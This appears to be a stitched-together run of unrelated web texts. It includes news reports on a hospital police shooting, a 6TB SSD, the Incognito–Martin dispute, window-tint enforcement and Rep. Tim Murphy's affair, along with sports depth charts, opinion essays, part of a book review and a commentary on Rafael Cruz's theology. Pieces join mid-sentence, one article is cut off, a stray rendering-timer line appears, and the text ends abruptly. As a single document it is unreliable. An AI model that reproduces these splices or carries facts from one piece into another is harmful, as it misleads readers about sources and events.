What are your best practices for surviving a breakup? Share your favorite strains to improve mood or functioning!An "unfortunate incident" has occurred at Chambersburg Hospital this morning involving the Chambersburg Police Department and a patient, according to hospital officials.
Officials say that 64-year-old Dennis Kirk was armed with a knife when threatened a staff member around 8 a.m.
Police responded and the patient threatened officers, officials say. Officials say that after several attempts to subdue him he was shot and killed.
The Chambersburg Hospital sent out a press release stating, "We appreciate and commend the immediate response of our staff and local law enforcement for their successful efforts to keep patients, visitors and staff members safe."
State police are investigating the shooting and the hospital is reviewing the situation. The Franklin County District Attorney's office and coroner's office are also involved.
Officials say that no staff members or other patients were injured and all patients, visitors and employees should not fear for their safety.
Grief counseling is available to staff members and patients.Japanese company Fixstars has introduces a 2.5 inch solid state drive that can hold up to 6 terabytes of data. The company says it’s the highest capacity 2.5 inch SSD released to date.
The Fixstars SSD-6000M is expected to begin shipping in late July.
The drive features 15nm MLC flash memory with sequential read speeds up to 540 MB/s and write speeds up to 520 MB/s. It’s 9.5mm (less than 0.4 inches) thick and weighs 97 grams, or about 3.4 ounces.
2.5 inch drives are commonly used for notebooks, but this model will likely be aimed at enterprise customers at launch. SSDs tend to be much more expensive than hard drives, especially once you start to pack more than 1TB into a single drive.
Fixstars also offers 3TB and 1TB versions of its 2.5 inch SSDs.
Not surprisingly, the company’s press release and product brochure for the SSD-6000M and related products makes no mention of the price. I guess you’ll have to contact the company (and probably commit to a fairly sizable order) to find out how much these things cost.
via MYCEMiami Dolphins guard Richie Incognito is reportedly "shocked" and "betrayed" by the claims being made by teammate Jonathan Martin, according to ESPN's James Walker.
Speaking to a source close to the situation, Walker reports that Incognito feels that he was friends with the fellow offensive lineman and that he was more of a "tough-love older brother" for Martin than a bully.
"It's probably a combination of totally blindsided and a bit betrayed," the source said of Incognito's current state. "He's shocked. He can't believe this happened and thinks it probably could have been avoided."
Incognito was suspended indefinitely by the Dolphins last week after evidence surfaced that the veteran lineman had been verbally abusive in racially charged and abusive voicemails and text messages. The veteran claims that this was merely the regular banter between NFL teammates and that he also protected the young lineman when needed.
More evidence has recently surfaced that the Dolphins management was aware of what was happening, with GM Jeff Ireland apparently telling Martin he should physically confront Incognito if he was so upset with his treatment. The majority of the Dolphins players also have come to the defense of Incognito, feeling that Martin should not have gone public for what they feel is a personal issue.
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SHIPPENSBURG, Pa. (WHTM) - How dark are your car windows? Some drivers add tinting to reduce heat and glare, others do it for appearance. But a local police chief says there is such thing as too much, and he's concerned about his officers' safety.
PennDOT sets the regulations for car window tinting, and the department says 70 percent of light has to be able to pass through car windows.
When he's out on the streets of Shippensburg, Officer Lee Kauffman keeps an eye out for what he can't see.
"The back window on that Cadillac has been blacked out," he noted, sitting in his patrol car looking for over tinted windows.
He pulled a car over, tested the window with a light meter, and came up with 20 percent, well below the 70 percent PennDOT requires.
"What I'm going to do is, as I said, I'm going to issue you a warning notice," he explained to the driver.
That's standard procedure in Shippensburg: write warnings that require drivers to remove the tint in five days, and return to the department to prove it. If they don't, an officer writes a citation.
Tinting so dark you can't see in is a safety issue for Police Chief Fred Scott.
"It could be someone sitting in the back seat with an uzi, a shotgun, anything," Scott said. "I have no idea."
Since 1999, Scott has been going after a change in the law as aggressively as his officers go after violators.
In '96, PennDOT changed its regulations, so tint was no longer part of the inspection process.
Scott wants it back in and writes letter after letter to lawmakers and administrators to try to make it happen.
"I had one, 5 percent," he said. "It was down to 5 percent. Now, what's the probability of my officer being able to see in that car?"
Justin Davis runs Auto Reflections out of his garage in Carlisle. He was busy applying a 20 percent film to a truck Tuesday evening. That's the same level of tint that led to the warning in Shippensburg.
"It seems it's sort of open to interpretation," Davis said. "Each cop has their own opinion on it."
That's true, to an extent.
The law itself doesn't reference PennDOT's 70 percent, but police can still write tickets for violating the regulation.
Davis explains that to his clients.
"That's the best you can do," he said. "It's not going to get you out of a ticket. They pretty much assume the risks as that point, though."
He explained his clients are not criminals, and a 70 percent threshold is far too high, anyway. Basically, any film he puts on, he said, would violate it.
And it's because people are asking for it any way that Chief Scott continues his crusade.
"If people knew that when I got my car inspected once a year that that tinting was illegal and I couldn't get my car inspected," he said, "how long do you think they'd keep doing it?"
Asked why the inspection requirement was eliminated in the first place, a PennDOT spokesman said he didn't know.PITTSBURGH (KDKA) — Pro-life Congressman Tim Murphy reportedly urged a woman with whom he had an affair to get an abortion last January.
That’s what our news partners at the Pittsburgh Post-Gazette are reporting, after obtaining copies of text messages between Rep. Murphy and Shannon Edwards, the woman with whom the congressman has admitted to having an affair.
Rep. Murphy apologized for the affair, issuing this statement last month:
“Last year, I became involved in an affair with a personal friend. This is nobody’s fault but my own, and I offer no excuses. To the extent that there should be any blame in this matter, it falls solely upon me.”
In a Jan. 25 text message, Edwards told the congressman, “You have zero issue posting your pro-life stance all over the place when you had no issue asking me to abort our unborn child just last week when we thought that was one of the options.”
Lisa Washington’s Report:
At the time, both thought Edwards was pregnant, although it turned out she wasn’t.
In response at the time, Rep. Murphy, who has been endorsed by LIFEPAC because of his strong anti-abortion views, said it was his staff who wrote the strong march for life message, not him.
Ironically, on Tuesday, Rep. Murphy voted for a bill he co-sponsored to outlaw late-term abortions.
In response, Sasha Bruce, the senior vice president for campaigns and strategy for NARAL Pro-Choice America, issued this statement:
“I wish it were shocking to learn that yet another Republican Congressman tried to cover up an affair by invoking the same abortion rights he tries to deny to others. Literally hours after this story broke, Congressman Murphy demonstrated the height of hypocrisy by voting to ban abortion for women across the nation after 20 weeks of pregnancy.
“You shouldn’t have to be a member of Congress just to access your right to abortion. With his personal and public actions, Congressman Murphy has shown that he seeks to control women in every facet of his life, be it to cover up an affair or to deny all Americans the right to legal abortion. To Congressman Murphy and the Republican Party, women’s rights are nothing more than an inconvenience to be dispensed with.”
In another matter, the Post-Gazette obtained a six-page memo written to Rep. Murphy by his chief-of-staff who accused the congressman of “sustained inappropriate behavior to staff.”
In the June 8 memo, Chief-of-Staff Susan Mosychuk wrote: “I have both witnessed and been exposed to hostile, erratic, unstable, angry, aggressive, and abusive behavior from the congressman.”
When KDKA’s Jon Delano reached out to Rep. Murphy for comment late Tuesday afternoon, he was told by a spokesperson, “the office has no comment or response to the story.”What happens when a generation grows up being told that nothing is safe enough, not even a walk home from the park? Or that they should never encounter a bad grade, or mean remark—these things are too wounding? Or that they didn’t lose the game, they are the “8th place winners!?"
Here's what happens: At least a portion of them become convinced that they are extremely fragile. They need—they demand—the kind of life-buffers they’ve had since childhood.
Which brings us to this remarkable essay by Judith Shulevitz in Sunday’s New York Times. She details the demands students are making to feel "safe" on campus. But she's not talking about physical safety; students want to be safe from debates. Safe from jarring ideas. Safely situated in a "safe place" (terminology previously associated with hurricanes and nuclear war) when some speaker somewhere on campus is even suggesting the possibility that we don't live in a "rape culture."
So if you haven't read the essay yet—and Robby Soave's rousing take on it—please do. And then let's start using a term Shulevitz employs, “self infantilizing," to describe what has happened to our young adults when they behave as if they are as helpless and vulnerable as babies, and apparently just as easily entertained. The "safe place" Brown University provided for its students during the rape culture debate in another building was outfitted with coloring books, bubbles, and Play Doh. (Did I mention the puppy video?)
Treating women as frightened children who need soothing would never be tolerated if it were proposed by a male authority figure: "What you pretty little ladies need are some bubbles!" But somehow, when it's proposed by other women on campus, it is an act of solidarity, not condescension.
This is awfully familiar to those of us who watch what's happening in the world of childrearing—and for this I don't even blame parents. I blame a whole culture bent on protecting kids from almost everything: from Pop Tart guns, to red ink on homework, to a spat with their best friend. (Parenting magazine famously told parents to remain close at hand when even their school-age children have playdates because, “You want to make sure that no one’s feelings get too hurt if there’s a squabble.”)
When you have a culture devoted to seeing danger in what used to just be everyday life, it actually becomes illegal to distinguish between real risks (letting your 5-year-old swim alone, in a quarry, in the dark) and negligible ones (letting your 10-year-old wait in the car, in a safe neighborhood, while you run a short errand).
No wonder kids end up at college equally scared of rapists and a discussion of rape culture! They have grown up under the mantra: Everything is dangerous.
Now we just have to figure out how to help them realize: Nope. It's not. College students don't need coloring books. They don't need puppy videos. They need to stop equating umbrage with courage. As Winston Churchill said: "We have not journeyed all this way across the centuries, across the oceans, across the mountains, across the prairies, because we are made of sugar candy."JANESVILLE, Wis. - A video obtained by Janesville Gazette shows a Janesville Transit System bus crashing into a building after being struck by an SUV.
Janesville police said three people were injured in the Aug. 6 crash in the 2600 block of Wesley Avenue, just west of Pontiac Drive.
According to police, the bus was going down Wesley Avenue when an SUV failed to yield. Police said the bus driver took evasive action to avoid the car, but the seat belt failed and the bus driver lost control of the bus.
The bus driver suffered a head injury and was taken to the hospital, according to police. Police said two passengers on the bus also suffered minor injuries.
Police said the house suffered major damage from the collision, but no one was home at the time of the crash. Police said a ticket was issued to the driver that failed to yield to the bus.
City Transit Director Dave Mumma sent the Janesville Gazette a photo of the malfunctioning belt, which shows the metal tongue that fits into the buckle had broken in two.
"There was no visible evidence of previous cracking or bending of this piece," Mumma wrote in an email. "The manufacturer is also investigating why this particular unit, which is a replacement of the original seat belt in this bus, failed in service."
The 69-year-old bus driver is expected to return to work after her medical leave.
The driver of the SUV, Carol L. Fuelleman, 55, of Janesville, was cited for failure to yield the right of way from a yield sign.
Link to videoIt is neither AAP's Arvind Kejriwal or PM Narendra Modi, but Raj Thackeray who the 22 year-old Hardik Patel admires, reports The Hindustan Times. The young leader whose protest over demand for OBC status for the Gujarat's Patidar community has left ten dead in last two days in the state, even says he would like to work with the MNS chief.
In the interview with the daily, Hardik has said that he likes Raj's 'power and oratory'. " His writ doesn't run too much in Mumbai, but he speaks the truth. I can work with him," he said.
The Mahasrashtra leader's uncle Bal Thackeray too was someone he looked up to along with Sardar Vallabhbhai Patel. Hardik said they were his role models as they were decisive and strong.
While there were reports saying that he was earlier associated with AAP, Hardik has said that he would rather work with 'dabhangai' (aggression) which the party lacked.
He gave a clear view on the quota issue, saying that the government should either abolish the reservation system or include every citizen. "There are no jobs, no education, no scholarships because those with reservations have taken it all," he said. When countered with the condition of Dalits and tribals and their need for the quota, the Patidari Anamat Andolan Samiti leader said that it is not other communities' fault that their condition did not improve in 60 years. " Other communities cannot lose out and suffer?" he asked.
Dismissing reports that said that the Patel were a financially and politically influential community, Hardik said that just about 5-10% of the community were wealthy. Adding that Gujarat was just like Uttar Pradesh and Bihar, he said that farmers in the state were in a dire situation. "...9,000 farmers have committed suicide in ten years. We are fighting for equality," he said.
Hardik has said that he was ready to talk to the government but hinted that the state CM Anandiben did not run the show. "Someone else has all the power," Hardik said
The report states that he has even asked the community to cease supplying milk and vegetables to the cities and withdraw money from the bank. "India's economy will collapse," he said.
There is concern about the state of affairs in Gujarat over the quota issue as Gujjars and Jats from neighbouring state Rajasthan and Haryana respectively have extended support to them. The Patel community also holds political power in the state. The community makes up 12-15% of Gujarat's population. They have been supporting the BJP traditionally and have warned the party of undesirable electoral outcome if their demands are not met.
Hardik says at though at his age he cannot vote he will get others to contest and hold the reins. He said that he has the support of seven million Patel community members as well as from NRI Patidars.
He said that the members of the community in India were helping with funds for his huge movement. He denied that any party was lending financial help. "We are not that poor also. If 70 lakh people give a rupee each, that is 70 lakh rupees," he said.
His political goal was to implementation of the reservation for Patels, killing all arrested terrorist immediately and maintaining harmonious relationship with Muslims.
Challenger to Modi?
Hardik harshly criticised Narendra Modi on development and security issues. He said that farmers, soldiers and workers were still suffering despite Modi's rise to power. He said that India and Pakistan ties have worsened. "He has brought China to India," he said. He also said that the Pakistan issue should have been handled intelligently.
He lambasted the PM over the entire suit issue. The PM should be simple, he said. "Should the PM wear a suit? He wears one with his name and then sells it," he said.
Hardik said that the movement has 12-member social media team using Facebook and Whatsapp regularly. At least two million WhatsApp messages are sent every day. Hardik credits 60% of the movement's success to social media and 40% to hardwork.Skyrim mods are a varied and numerous bunch. Some add new weapons and spells; others fix and tweak systems; the vast majority give Lydia new hairstyles. Occasionally, there's another type: an unbelievably detailed and complex quest chain, complete with new locations, quests and dialogue. The Forgotten City is from this latter category, and it's shaping up to be a fully-fledged expansion to Bethesda's four-year-old RPG.
"The Forgotten City is a lore-friendly expansion to Skyrim with a dark, non-linear story in which you'll discover and explore an ancient underground city," explains its creator. It's designed as a murder mystery, in which players must search for clues, interrogate suspects and fight monsters. And also travel through time.
The mod will boast 1,200 lines of dialogue, 30 new characters and a moral choices that can lead to multiple different endings. It's an undeniably impressive undertaking.
For more on the mod, head over to its ModDB page. The Forgotten City is due out in October.NFL free agency came and went without any big splash names coming to the Mile High City. No, Tony Romo will not be lining up under center and tight end Martellus Bennett will not be snagging passes for Denver, but one thing is for certain, John Elway addressed problematic holes on both sides of the ball.
Big names or not, the Broncos got better over the last several weeks and will almost assuredly be in strong contention to win the AFC West. Can you really ask more from Elway?
With the NFL draft just a little over a week and a half away, let’s dive into the Broncos’ projected post-free agency depth chart.
QB: (1) Trevor Siemian; (2) Paxton Lynch
I was certainly not on the Trevor Siemian train from the start. In fact, I emphatically stated several times that Mark Sanchez should have been given the starting nod last season. But, with Romo exchanging his cleats for a microphone along with the anti-climactic quarterback play of Paxton Lynch last season, Siemian will go into camp with the starting quarterback job. The ball is now in Lynch’s court to earn his first-round draft status. As fans, we are in for a treat this preseason.
RB: (1) C.J. Anderson; (2) Devontae Booker; (3) Kapri Bibbs
Many of the Colorado State faithful are still firm believers in what Kapri Bibbs offers as a running back, and why shouldn’t they? Bibbs put up 129 yards rushing on only 29 carries last season, adding a long 69-yard receiving touchdown to his 2016 resume. Along with second-year running back Devontae Booker and C.J. Anderson, Bibbs gives Denver a crowded backfield. It may only get more crowded with reports stating Stanford running back Christian McCaffrey is on the Broncos’ radar.
FB: (1) Andy Janovich; (2) Juwan Thompson
Andy Janovich quickly became a Broncos Country favorite by breaking loose for a 28-yard touchdown on his very first carry in Denver. The Broncos intend to use a fullback again this year, and if Janovich can stay healthy he will be a tremendous asset to Denver’s running game.
WR1: (1) Demaryius Thomas; (2) Jordan Taylor; (3) Cody Latimer; (4) Marlon Brown
WR2: (1) Emmanuel Sanders; (2) Bennie Fowler; (3) Kalif Raymond; (4) Hunter Sharp
Denver has consistently had an abundance of options at the receiver position, and 2017 is no different. They may look to find a true speed demon to fill the slot position in the draft.
TE: (1) A.J. Derby; (2) Virgil Green; (3) Jeff Heuerman
Ever since the departure of Julius Thomas, the Broncos have been less than impressive at the tight end position. A.J. Derby added a late-season spark to the roster, but this is almost certainly a position that Denver will look to strengthen in the draft.
LT: (1) Donald Stephenson; (2) Ty Sambrailo
LG: (1) Max Garcia; (2) Connor McGovern
C: (1) Matt Paradis; (2) James Ferentz
RG: (1) Ronald Leary; (2) Michael Schofield
RT: (1) Menelik Watson; (2) Justin Murray
The Broncos struggled mightily at the offensive line position last season. That might even be putting it lightly. They were atrocious at times. Although Elway addressed a portion of the line with the free agent additions of Ronald Leary and Menelik Watson, Denver still lacks a true left tackle.
See defense and special teams prediction after the jump.Volumes upon volumes have been written on love. The melancholy of heartbreak and the fervent ecstasy of attraction have both driven countless pens to paper. In expressing our love, whether it be in song, poem, painting, or long hugs, we simultaneously attempt to understand it. Despite all of the time we humans spend contemplating the concept, though, it seems we are no closer to understanding it than we were thousands of years ago. Massive sums of time and money go into researching the neuroscience of love, the characteristics of satisfied couples, and the algorithms behind dating websites, yet we are still vulnerable in facing the challenges of romance. All the data in the world doesn’t heal the agony of loss and has yet to make a significant dent in the 50% American divorce rate. The bulk of this exploration of love falls short in recognizing one fundamental truth: Love – deep, unconditional love, is not a feeling, but a choice.
Romantic comedies and media narratives tend to create the expectation that our soulmate (spoiler: they don’t exist) will eventually fall into our laps – and that, following a predictable bit of turmoil, we’ll live happily ever after. Silly or not, this is the notion we often naively carry in our hearts. It’s easy to be shocked, then, when you and your girlfriend have your first fight or you begin to notice the first habit of theirs you don’t like because it defies the narrative of a perfect relationship. Plenty of couples learn to ignore or deal with the friction, though, perhaps believing that the strength of their attraction, the profundity of their love, will triumph over any issues in the relationship. We look at the examples of our mothers and fathers and it seems that their love for each other obscures their imperfections, that my Gamama (Grandma for the unimaginative) and Grampa have been together for 50 years because they’re a fantastically compatible match.
We like to think that we’re incredibly good at knowing who’s going to make us happy, but let’s be honest – our test is passed with something as simple as a smile, a joke, a long conversation. The idea of having a soulmate is laughable – that there are 7 billion people in the world and you’re not only going to meet them, but you’re going to meet them early enough to live your life alongside them? No, no, rather there are millions upon millions of people in the world who could make us happy, but we choose one and decide to make them a promise. We promise to recognize their imperfections and the nuances that make them unique and love them anyway. Unconditional love means making the conscious decision to not only accept but to cherish a person’s flaws and failures, to immerse yourself in their whole being and thrive in it.
Stop waiting for Mr. or Mrs. Perfect, they don’t exist and never did. Find not the person whom you love at first sight for this is mistaking lust for love. Find instead the person you can learn to love and let them teach you how to accept and cherish every last fiber of their being – the back hair, the tiny butt, the obnoxious snoring and the obsession with cereal, the ketchup phobia and the late-night affinity for Rage Against the Machine.
Choose to Love.
“We come to love not by finding a perfect person, but by learning to see an imperfect person perfectly.”
-Sam Keen
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James Bond will travel to Croatia in the 25th instalment of the 007 franchise.
The film has the working title Shatterhand and the plot sees Daniel Craig's spy battle a blind supervillain.
Scriptwriters are believed to be basing parts of the plot on the 1999 thriller Never Dream Of Dying by US author Raymond Benson, who also wrote Bond books Tomorrow Never Dies, Die Another Day and The World is Not Enough.
(Image: Getty Images)
The novel opens with a police raid on a French movie studio that goes badly wrong, while an actress with a sordid past leads Bond to his final target.
A source said: "Bond scriptwriters feel it could be the perfect follow-up to Spectre. They are hoping to film in Croatia next year."
The insider said producers had been furious when a local mayor revealed they had been scouting for locations in the coastal tourist hotspot of Dubrovnik.
(Image: Sony Pictures)
The film is hotly anticipated after Craig's unconfirmed U-turn on quitting as 007. The 49-year-old star is set to return for his fifth stint despite declaring he would rather slash his wrists than play the secret agent again.
Christoph Waltz and Dave Bautista will be reprising their roles as Spectre villains after provisionally agreeing to do the next blockbuster.The film is scheduled to hit cinemas in November 2019, with the script taking inspiration from 1960s 007 outings You Only Live Twice and On Her Majesty's Secret Service.
Other expected locations include the south of France and Japan.
Skyfall, Craig's third Bond film, became the highest-grossing film of all time in the UK after its release in 2012, but it has since been toppled by Star Wars: The Force Awakens.
James Bond will battle sinister 'Union'
In Raymond Benson’s Never Dream of Dying, bond battles a blind criminal genius behind an evil organisation called the Union.
The action kicks off in the south of France where a police raid ends up killing innocent people.
A dead man’s jail confession puts 007 on the trail of the bad guys. He starts a relationship with a film star called Tylyn Mignonne whose husband just happens to be connected to the Union.
Our hero has an underwater brush with death, a chase through the wilds of Corsica, a surprise encounter with an old friend - and a showdown with the blind baddie.init_data: 0.042, render: 0.0174
About This Series Now hear this — Vulcan Productions and Show of Force are unleashing WE THE VOTERS, a collection of short films that offers quirky takes on the issues that define our generation — student debt, inequality, healthcare, immigration, media polarization, and more.
Young people will build the future, and we deserve high-quality information that helps cut through the noise and make sense of the things that really matter. So we’ve recruited an awesome team of filmmakers, celebrities and comedians to take a fresh look at today’s hot topics. It’s wit, insight and analysis without any of the BS! Explore the dark heart of D.C. with MTV reporter Josh Horowitz, get the scoop on local elections from comedian and YouTube superstar Grace Helbig, join our Student Debt Game Show for a chance to win a more vibrant America, follow a day in the life of a first-time, twenty-something politician, plus lots more.
We know what you’re thinking, we’ve thought it too — Why does it matter? Well, do you know what happens when would-be voters don’t know the basic principles and players that drive our democracy? They don’t vote — Only a third of eligible voters cast a ballot in the 2014 midterm elections, the lowest turnout in 72 years! When we don’t vote our voices don’t get heard. A true democracy only works when people participate. And that doesn’t mean simply voting, but understanding the issues.
WE THE VOTERS is a one-stop, non-partisan resource that’ll spark interesting conversations and help you make informed decisions about the issues that matter most.Attention! This news was published on the old version of the website. There may be some problems with news display in specific browser versions.
Jet Engines of the Air
Early jet-engined aircraft: The Me 262, and the Yak-15
The concept of the “jet” (stream of liquid or gas propelled through a small area) engine has its origins from two millennia ago, with the first known jet device being the “Hero Engine” - also called aeolipile. Expanding gases from a particular source (in this case boiling water) would be ejected from an angled nozzle, spinning it rapidly and demonstrating an action (gas flow) and a reaction (movement
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’Keeffe, an artist she regards as kitsch. “I’ve secretly inoculated myself with what I consider the ultimate Connoisseur’s Good Taste Vaccine. Everywhere we go, I tell myself, what I’ll really be doing is looking for the Agnes Martins. Agnes, I’ve decided, will be my private talisman, my anti-O’Keeffe … My aesthetic invulnerability assured, I’ll be able to enjoy everything else ironically.”
Yet Castle is not simply enlisting Agnes Martin for her own snobby purposes. She pauses to describe in detail the look and the artistry of Martin’s severe and radiant art, the autonomous beauty of her nearly invisible coral pinks and delicate blue pastels. Castle brings alive “the whole chaste package” even as she admits that “the artist would no doubt be appalled to hear” that “admiring her work aloud is now a fail-safe way for the upwardly mobile poseur to signal intellectual depth and all-round head-of-the-curveness.” But guess what? Mother turns out to be an Agnes Martin fan: “My snob-self is frankly stunned at this unexpected display of maternal hip: it’s as if Wally and Charlie, my dachshunds, were suddenly to begin discussing Hans-Georg Gadamer.” And there is another surprise—the disdained O’Keeffe turns out to be, at least in her early work, quite compelling. Mother and daughter agree that “like it or not, O’Keeffe really makes you look.” A startled Castle finds herself losing her “surly-insecure edge—feel suddenly less tormented by filial ressentiment and incipient acid-reflux.”
I think the collection’s masterpiece is “My Heroin Christmas.” Here the book’s deepest themes—Castle’s craving in life and literature for fearless exposure, for “shame-free storytelling” and a “certain uncensored verbal fluency”—find their objective correlative in art with a capital A. That is, Art as incarnated in Art Pepper. Her title refers to Castle’s swooning plunge, during the 2002 holidays at home, into the pages of Straight Life, the autobiography of the famous jazz saxophonist, heroin addict, and jailbird. “Mainlining Art nightly without shame,” she calls it “the greatest book I’ve ever read. … It knocked my former top pick, Clarissa, right out of first place. As Art himself might say, my joint is getting big just thinking about it.”
It—Terry and Art—is a match made in heaven or, more precisely, in the “Southern California white-trash fellow feeling” she has for him. Art is “so painfully human” she can hardly bear it: he “offered himself up with such astonishing vulnerability I found my eyes welling up repeatedly.” She finds irresistible his “superprurient adventures”—voyeurism, masturbation, chicks, needles, rage, and booze—but never stops asking herself why she is obsessed with this terminal macho man: “what a self-destructive (and self-deluding) bastard Art Pepper must have been. And what’s up with you, Terry Castle, that you claim to like this guy? I admit it: it is strange.” She takes on the skeptics and they push her to grasp the “Core Emotional Truth”—that success in art demands that “you have to stop trying to disguise who you are. The veils and pretenses of everyday life won’t work; a certain minimum truth-to-self is required.”
So inspired, Castle faces the ghost that her Art obsession has dredged up: her vicious stepbrother Jeff who twenty years earlier, on the day after Christmas, blew his brains out in his sister’s house. A chronic marauder, who once killed a man with his bare hands in a bar fight, Jeff had “no language other than brutality.” And it was “Jeff’s fate to stay locked up inside himself. He did not have the genius, the munificent resources” of fellow outlaw Art Pepper. And what about endowed Professor Castle, who, as she says, prides herself “on having a language, of course, and on being able to put her “thoughts into words”? She calls that gift a genteel way to “stomp on people,” and ends the essay recalling and cherishing her mother’s instantly suppressed smile when, years before, Jeff fell from a balcony and broke his leg. “I too was glad when Jeff fell … I hated the fucking punk—frankly wished him gone from the earth—and would have laughed out loud if I could.”
This embrace of the inadmissible is what comes from mainlining Art, be it Pepper, be it Pope, be it any other “shame-free storytelling.” Philip Roth’s great Sabbath’s Theater comes especially to mind. The Professor goes places no book ever written about professors has ever gone. And it understands more about the academic vocation, and the art of self-examination, than the shelf of grave and socially responsible studies of and by professors that have appeared in recent years. It is a superb weapon for tearing up that soul-destroying cardboard figure of fun its title names.
Ross Posnock is Professor of English and American Studies at Columbia; Philip’s Roth Rude Truth: The Art of Immaturity (Princeton) is his most recent book.
For more TNR, become a fan on Facebook and follow us on Twitter.Coventry could become the first city to host a competitive street race in the United Kingdom since 1990 after unveiling plans to host a'sprint event' in 2015.
Coming in the wake of a government decision to grant councils powers to turn public roads into temporary race tracks, Coventry has will stage time trials on public roads using British Touring Cars and British Formula 3 machines as part of its 'Motofest' event.
Coventry's ring road will be the scene for the event, though racing will be subject to approval by the Motorsport Industry Association.
Going forward, the event could pave the way for a full-scale street racing event to be included on the racing calendar in 2016.
"We are so excited to announce competitive motor sport on the Coventry Ring Road," said James Noble, Motofest Festival Director.
"This was a big part of our vision when Motofest was first developed and we are so grateful to Coventry City Council for its forward-thinking approach in enabling us to make it a reality.
"We are delighted at the opportunity to partner with the BARC, Britain's premier racing club, as they will enable us to bring elite UK motorsport to Coventry's roads.
"With Coventry's rich motoring heritage and history, it feels like the right fit to be racing in Coventry and we can't wait to make it happen."
It is 14 years since the last competitive racing event was held on British public roads, with the Birmingham Super Prix - which held Formula 3000 and BTCC events - running between 1986 and 1990.Travis Cloke is likely to remain in the VFL for at least another week despite an encouraging performance in his return game from mental heath issues.
The 30-year-old looked lively in his first competitive match since the Bulldogs' round 12 loss to Sydney, kicking three goals from 20 possessions gathered up forward and in the ruck in Footscray's win over Sandringham.
Bulldogs football director Chris Grant told SEN on Tuesday the club was thrilled with Cloke's performance and praised his courage in returning from the illness, but wanted the former Magpie to gain some continuity before returning to the senior side.
"He was really good on the weekend," Grant said.
"He kicked three (goals), but it more how he went about it that we were really pleased with.
"To return the way he did was tremendous, but I think both Travis and (the club) will be looking for that consistency for a week or two to put his hand back up for senior selection."
Grant would understand the pressures that come with being a AFL footballer – and in particular for a key forward - after he slotted 554 goals across 341 games in the red, white and blue.
The Australian Football Hall of Fame inductee applauded Cloke for the way he had approached his struggles and praised the support the football world had shown for former Magpie.
"Finding himself in that position where he felt comfortable to come out to the public was a huge step for him," Grant said.
"The club has been really supportive of him to give him the time that he felt he needed to come back and actually play the game.
"I think what's been really pleasing is the football industry and public have been really supportive of him too.
"The way he returned was a great indication of how he's feeling. It's just great to see him back playing."Hungry for more? Enjoy 3-course meals at 120+ of Columbus’ best restaurants for a fraction of the cost during Restaurant Week Columbus, July 23-28, 2018! Even better? $1 will be donated to the Columbus Humane for every Restaurant Week photo tagged #EAT614 on Instagram up to $5000. Dining out never tasted so good…
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VIEW PARTICIPATING RESTAURANTS, HERE!On the eve of our government shutdown, I wanted to do some research into the theological roots of Senator Ted Cruz, the standard-bearer of the Tea Party Republicans behind the shutdown. I'm interested in understanding what account of Christianity creates the "no compromise" crusade that the Tea Party has become known for. It turns out that Ted's father, Rafael Cruz, is a pastor with Texas charismatic ministry Purifying Fire International who has been campaigning against Obamacare the last several months. He has a distinct theological vision for what America is supposed to look like: Christian dominionism.
In the months building up to the present showdown, Cruz has been giving speeches at Tea Party rallies and other religious right gatherings as part of a campaign to defund Obamacare. In watching the speeches, I can see how his status as a Cuban American refugee fits the ethos of the far right culture warrior movement perfectly. He is able to shift seamlessly from stories about the oppression of the Castro regime to talking about the Obama administration.
A good example comes from a speech at the Iowa Family Leadership Summit on August 12th where Cruz said that the government's "attack on religion" is part of a longer-term plan to establish socialism:
When you hear this attack on religion, it's not really an attack on religion. The fundamental basis is this. Socialism requires that government becomes your God. That's why they have to destroy your concept of God. They have to destroy all your loyalties except loyalty to the government. That's what's behind homosexual marriage. It's really more about the destruction of the traditional family than about homosexuality, because you need also to destroy loyalty to the family.
This paragraph is a textbook example of postmodern "truthiness," in which any narrative of reality "works" as long as it's structurally logical. Cruz start with asserting the socialist conspiracy as a fundamental given and then show how it works as an explanation for everything else that's going on. It's so fascinating when the same people who declare themselves to be defenders of "absolute truth" are absolutely relativistic about truth in practice.
A more disturbing element of Cruz's speeches were his repeated calls for a "black robe regiment," a concept promoted by Christian revisionist historian David Barton who claims that clergy were the main backbone of the American Revolutionary War. Here's what Cruz had to say to the August 29th gathering of Heritage Action, the main lobbyist group behind shutting down the federal government:
It was pastors who were the backbone of the Revolution. Did you know where Paul Revere was going when he was saying the British are coming? He was going to the home of a pastor by the name of Jonas Clark... [who] was one of many that were called the black robe regiment. These were pastors that wore long black robes. Many of them had the continental army uniform under the black robe. They would preach in church on Sunday and then go out and fight with half their congregation for our independence. I want to encourage our pastors today not to hide behind their pulpits but take the spirit of the black robe regiment.
The theological ethos of Rafael Cruz's vision is in Christian dominionism; he talks about preaching a "message of dominion" that all Christians have received an "anointing as kings." I watched a sermon he preached on August 26, 2012 at the New Beginnings megachurch in Irving, Texas, led by Christian Zionist charismatic pastor Larry Huch. Huch incidentally had a very interesting prophecy to share when he introduced Cruz to preach:
We've been doing this series here that God laid on my heart: Getting to the top and staying there. A message for us as individuals, the kingdom of God, but also for America. It's not enough to get there. We need to stay there. It's not a coincidence that in a few weeks, we go into what's called in the Bible Rosh Hashanad [sic]... It will be the beginning of the spiritual year 2012. The number 12 means divine government. That God will begin to rule and reign. Not Wall Street, not Washington, God's people and His kingdom will begin to rule and reign. I know that's why God got Rafael's son elected, Ted Cruz the next senator. But here's the exciting thing... The rabbinical teaching is... that in a few weeks begins that year 2012 and that this will begin what we call the end-time transfer of wealth. And that when these Gentiles begin to receive this blessing, they will never go back financially through the valley again. They will grow and grow and grow. It's said this way: that God is looking at the church and everyone in it and deciding in the next three and a half years who will be his bankers. And the ones that say here I am Lord, you can trust me, we will become so blessed that we will usher in the coming of the messiah.
So it sounds like we're entering into the age where the Christians (who give faithfully) are going to get all the money through the "end-time transfer of wealth." Isn't the title of that sermon series just awesome? Getting to the Top and Staying There! It was a packed house. I wonder how many other apocalyptic prosperity gospel megachurches are packing their houses by preaching sermon series about getting to the top and staying there.
Cruz's primary text for his sermon was Revelation 1:5-6, which says, "To him who loves us and has freed us from our sins by his blood, and has made us to be a kingdom and priests to serve his God and Father--to him be glory and power for ever and ever!" In Rafael's translation of the Bible, it says "kings and priests" instead of "a kingdom and priests." In the Greek, the word is basileian (accusative singular) and no manuscript variants are indicated, but never mind that.
Cruz shares that two types of people were anointed in the Old Testament, kings and priests:
